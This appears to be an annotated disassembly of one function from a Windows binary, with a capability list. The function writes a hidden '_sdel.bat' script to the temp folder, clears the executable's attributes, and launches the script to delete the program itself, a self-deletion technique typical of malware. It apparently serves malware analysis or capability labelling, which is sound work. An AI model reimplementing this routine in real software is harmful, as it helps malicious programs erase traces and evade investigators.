Function at 0x40f753
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a8
mov eax, dword [0x44fac4]
test eax, eax
je 0x40f77a
mov eax, dword [0x44eec4]
test eax, eax
jne 0x40f77a
mov dword [esp], 0
call fcn.00403340
call fcn.0042ac91
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x400
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
lea eax, [ebp - 0x40c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sdel.bat
lea eax, [ebp - 0x718]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
lea eax, [ebp - 0x718]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40f9f6
lea eax, [ebp - 0x718]
mov dword [esp + 8], eax
mov dword [esp + 4], str._echo_off_r_n:repeat_r_ndel____1__r_nif_exist____1__goto_repeat_r_ndel___s_
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x71c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x72c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x770]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x764], 0x440f08
mov dword [ebp - 0x770], 0x44
mov dword [ebp - 0x744], 1
mov word [ebp - 0x740], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x614]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x614]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
setne al
test al, al
je 0x40f947
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x614]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
lea eax, [ebp - 0x614]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x718]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__comspec____c__s__s
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x510]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x72c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x770]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4008
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x510]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
nop
nop
leave
ret